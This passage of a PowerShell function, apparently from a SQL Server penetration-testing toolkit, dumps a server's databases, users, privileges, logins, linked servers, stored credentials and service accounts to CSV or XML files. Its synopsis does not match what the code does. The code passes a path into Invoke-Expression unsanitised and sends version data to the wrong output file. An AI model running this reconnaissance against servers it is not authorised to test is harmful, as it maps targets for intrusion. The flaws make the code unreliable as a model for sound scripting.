.SYNOPSIS This function can be used to attempt to obtain sysadmin privileges via identify vulnerabilities. It supports both csv and xml output. .PARAMETER Username SQL Server or domain account to authenticate with. .PARAMETER Password SQL Server or domain account password to authenticate with. .PARAMETER Credential SQL Server credential. .PARAMETER Instance SQL Server instance to connection to. .PARAMETER XML Generate xml output instead of csv. .PARAMETER OutFolder Output to a specific path instead of the current directory. .EXAMPLE PS C:\> Get-SQLInstanceLocal | Invoke-SQLDumpInfo -Verbose .EXAMPLE PS C:\> Invoke-SQLDumpInfo -Verobse -Instance SQLServer1\STANDARDDEV2014 -Username evil -Password Password123! #> [CmdletBinding()] Param( [Parameter(Mandatory = $false, HelpMessage = 'SQL Server or domain account to authenticate with.')] [string]$Username, [Parameter(Mandatory = $false, HelpMessage = 'SQL Server or domain account password to authenticate with.')] [string]$Password, [Parameter(Mandatory = $false, HelpMessage = 'Windows credentials.')] [System.Management.Automation.PSCredential] [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty, [Parameter(Mandatory = $false, ValueFromPipelineByPropertyName = $true, HelpMessage = 'SQL Server instance to connection to.')] [string]$Instance, [Parameter(Mandatory = $false, HelpMessage = 'Folder to write output to.')] [string]$OutFolder, [Parameter(Mandatory = $false, HelpMessage = 'Write output to xml files.')] [switch]$xml, [Parameter(Mandatory = $false, HelpMessage = 'Write output to csv files.')] [switch]$csv ) Begin { # Setup output directory if($OutFolder) { $OutFolderCmd = "echo test > $OutFolder\test.txt" } else { $OutFolder = '.' $OutFolderCmd = "echo test > $OutFolder\test.txt" } # Create output folder $CheckAccess = (Invoke-Expression -Command $OutFolderCmd) 2>&1 if($CheckAccess -like '*denied.') { Write-Host -Object 'Access denied to output directory.' Return } else { Write-Verbose -Message 'Verified write access to output directory.' $RemoveCmd = "del $OutFolder\test.txt" Invoke-Expression -Command $RemoveCmd } } Process { # Test connection to server $TestConnection = Get-SQLConnectionTest -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Where-Object -FilterScript { $_.Status -eq 'Accessible' } if(-not $TestConnection) { Return } # Default connection to local default instance if(-not $Instance) { $Instance = $env:COMPUTERNAME } Write-Verbose -Message "$Instance - START..." $OutPutInstance = $Instance.Replace('\','-').Replace(',','-') # Getting Databases Write-Verbose -Message "$Instance - Getting non-default databases..." $Results = Get-SQLDatabase -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose -NoDefaults if($xml) { $OutPutPath = "$OutFolder\$OutPutInstance"+'_Databases.xml' $Results | Export-Clixml $OutPutPath } else { $OutPutPath = "$OutFolder\$OutPutInstance"+'_Databases.csv' $Results | Export-Csv -NoTypeInformation $OutPutPath } # Getting DatabaseUsers Write-Verbose -Message "$Instance - Getting database users for databases..." $Results = Get-SQLDatabaseUser -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose -NoDefaults if($xml) { $OutPutPath = "$OutFolder\$OutPutInstance"+'_Database_Users.xml' $Results | Export-Clixml $OutPutPath } else { $OutPutPath = "$OutFolder\$OutPutInstance"+'_Database_Users.csv' $Results | Export-Csv -NoTypeInformation $OutPutPath } # Getting DatabasePrivs Write-Verbose -Message "$Instance - Getting privileges for databases..." $Results = Get-SQLDatabasePriv -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose -NoDefaults if($xml) { $OutPutPath = "$OutFolder\$OutPutInstance"+'_Database_privileges.xml' $Results | Export-Clixml $OutPutPath } else { $OutPutPath = "$OutFolder\$OutPutInstance"+'_Database_privileges.csv' $Results | Export-Csv -NoTypeInformation $OutPutPath } # Getting DatabaseRoles Write-Verbose -Message "$Instance - Getting database roles..." $Results = Get-SQLDatabaseRole -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose -NoDefaults if($xml) { $OutPutPath = "$OutFolder\$OutPutInstance"+'_Database_roles.xml' $Results | Export-Clixml $OutPutPath } else { $OutPutPath = "$OutFolder\$OutPutInstance"+'_Database_roles.csv' $Results | Export-Csv -NoTypeInformation $OutPutPath } # Getting DatabaseRoleMembers Write-Verbose -Message "$Instance - Getting database role members..." $Results = Get-SQLDatabaseRoleMember -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose -NoDefaults if($xml) { $OutPutPath = "$OutFolder\$OutPutInstance"+'_Database_role_members.xml' $Results | Export-Clixml $OutPutPath } else { $OutPutPath = "$OutFolder\$OutPutInstance"+'_Database_role_members.csv' $Results | Export-Csv -NoTypeInformation $OutPutPath } # Getting DatabaseTables Write-Verbose -Message "$Instance - Getting database schemas..." $Results = Get-SQLDatabaseSchema -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose -NoDefaults if($xml) { $OutPutPath = "$OutFolder\$OutPutInstance"+'_Database_schemas.xml' $Results | Export-Clixml $OutPutPath } else { $OutPutPath = "$OutFolder\$OutPutInstance"+'_Database_schemas.csv' $Results | Export-Csv -NoTypeInformation $OutPutPath } # Getting DatabaseTables Write-Verbose -Message "$Instance - Getting database tables..." $Results = Get-SQLTable -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose -NoDefaults if($xml) { $OutPutPath = "$OutFolder\$OutPutInstance"+'_Database_tables.xml' $Results | Export-Clixml $OutPutPath } else { $OutPutPath = "$OutFolder\$OutPutInstance"+'_Database_tables.csv' $Results | Export-Csv -NoTypeInformation $OutPutPath } # Getting DatabaseViews Write-Verbose -Message "$Instance - Getting database views..." $Results = Get-SQLView -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose -NoDefaults if($xml) { $OutPutPath = "$OutFolder\$OutPutInstance"+'_Database_views.xml' $Results | Export-Clixml $OutPutPath } else { $OutPutPath = "$OutFolder\$OutPutInstance"+'_Database_views.csv' $Results | Export-Csv -NoTypeInformation $OutPutPath } # Getting Database Tables Write-Verbose -Message "$Instance - Getting database columns..." $Results = Get-SQLColumn -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose -NoDefaults if($xml) { $OutPutPath = "$OutFolder\$OutPutInstance"+'_Database_columns.xml' $Results | Export-Clixml $OutPutPath } else { $OutPutPath = "$OutFolder\$OutPutInstance"+'_Database_columns.csv' $Results | Export-Csv -NoTypeInformation $OutPutPath } # Getting Server Logins Write-Verbose -Message "$Instance - Getting server logins..." $Results = Get-SQLServerLogin -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose if($xml) { $OutPutPath = "$OutFolder\$OutPutInstance"+'_Server_logins.xml' $Results | Export-Clixml $OutPutPath } else { $OutPutPath = "$OutFolder\$OutPutInstance"+'_Server_logins.csv' $Results | Export-Csv -NoTypeInformation $OutPutPath } # Getting Server Logins Write-Verbose -Message "$Instance - Getting server configuration settings..." $Results = Get-SQLServerConfiguration -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose if($xml) { $OutPutPath = "$OutFolder\$OutPutInstance"+'_Server_Configuration.xml' $Results | Export-Clixml $OutPutPath } else { $OutPutPath = "$OutFolder\$OutPutInstance"+'_Server_Configuration.csv' $Results | Export-Csv -NoTypeInformation $OutPutPath } # Getting Server Privs Write-Verbose -Message "$Instance - Getting server privileges..." $Results = Get-SQLServerPriv -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose if($xml) { $OutPutPath = "$OutFolder\$OutPutInstance"+'_Server_privileges.xml' $Results | Export-Clixml $OutPutPath } else { $OutPutPath = "$OutFolder\$OutPutInstance"+'_Server_privileges.csv' $Results | Export-Csv -NoTypeInformation $OutPutPath } # Getting Server Roles Write-Verbose -Message "$Instance - Getting server roles..." $Results = Get-SQLServerRole -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose if($xml) { $OutPutPath = "$OutFolder\$OutPutInstance"+'_Server_roles.xml' $Results | Export-Clixml $OutPutPath } else { $OutPutPath = "$OutFolder\$OutPutInstance"+'_Server_roles.csv' $Results | Export-Csv -NoTypeInformation $OutPutPath } # Getting Server Role Members Write-Verbose -Message "$Instance - Getting server role members..." $Results = Get-SQLServerRoleMember -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose if($xml) { $OutPutPath = "$OutFolder\$OutPutInstance"+'_Server_rolemembers.xml' $Results | Export-Clixml $OutPutPath } else { $OutPutPath = "$OutFolder\$OutPutInstance"+'_Server_rolemembers.csv' $Results | Export-Csv -NoTypeInformation $OutPutPath } # Getting Server Links Write-Verbose -Message "$Instance - Getting server links..." $Results = Get-SQLServerLink -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose if($xml) { $OutPutPath = "$OutFolder\$OutPutInstance"+'_Server_links.xml' $Results | Export-Clixml $OutPutPath } else { $OutPutPath = "$OutFolder\$OutPutInstance"+'_Server_links.csv' $Results | Export-Csv -NoTypeInformation $OutPutPath } # Getting Server Credentials Write-Verbose -Message "$Instance - Getting server credentials..." $Results = Get-SQLServerCredential -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose if($xml) { $OutPutPath = "$OutFolder\$OutPutInstance"+'_Server_credentials.xml' $Results | Export-Clixml $OutPutPath } else { $OutPutPath = "$OutFolder\$OutPutInstance"+'_Server_credentials.csv' $Results | Export-Csv -NoTypeInformation $OutPutPath } # Getting Service Accounts Write-Verbose -Message "$Instance - Getting SQL Server service accounts..." $Results = Get-SQLServiceAccount -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose if($xml) { $OutPutPath = "$OutFolder\$OutPutInstance"+'_Service_accounts.xml' $Results | Export-Clixml $OutPutPath } else { $OutPutPath = "$OutFolder\$OutPutInstance"+'_Service_accounts.csv' $Results | Export-Csv -NoTypeInformation $OutPutPath } # Getting Stored Procedures Write-Verbose -Message "$Instance - Getting stored procedures..." $Results = Get-SQLStoredProcedure -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose if($xml) { $OutPutPath = "$OutFolder\$OutPutInstance"+'_Server_stored_procedure.xml' $Results | Export-Clixml $OutPutPath } else { $OutPutPath = "$OutFolder\$OutPutInstance"+'_Server_stored_procedure.csv' $Results | Export-Csv -NoTypeInformation $OutPutPath } # Getting Triggers DML Write-Verbose -Message "$Instance - Getting DML triggers..." $Results = Get-SQLTriggerDml -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose if($xml) { $OutPutPath = "$OutFolder\$OutPutInstance"+'_Server_triggers_dml.xml' $Results | Export-Clixml $OutPutPath } else { $OutPutPath = "$OutFolder\$OutPutInstance"+'_Server_triggers_dml.csv' $Results | Export-Csv -NoTypeInformation $OutPutPath } # Getting Triggers DDL Write-Verbose -Message "$Instance - Getting DDL triggers..." $Results = Get-SQLTriggerDdl -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose if($xml) { $OutPutPath = "$OutFolder\$OutPutInstance"+'_Server_triggers_ddl.xml' $Results | Export-Clixml $OutPutPath } else { $OutPutPath = "$OutFolder\$OutPutInstance"+'_Server_triggers_ddl.csv' $Results | Export-Csv -NoTypeInformation $OutPutPath } # Getting Version Information Write-Verbose -Message "$Instance - Getting server version information..." $Results = Get-SQLServerInfo -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose if($xml) { $OutPutPath = "$OutFolder\$OutPutInstance"+'_Server_triggers_dml.xml' $Results | Export-Clixml $OutPutPath } else { $OutPutPath = "$OutFolder\$OutPutInstance"+'_Server_triggers_dml.csv' $Results | Export-Csv -NoTypeInformation $OutPutPath } Write-Verbose -Message "$Instance - END" } End { } } #endregion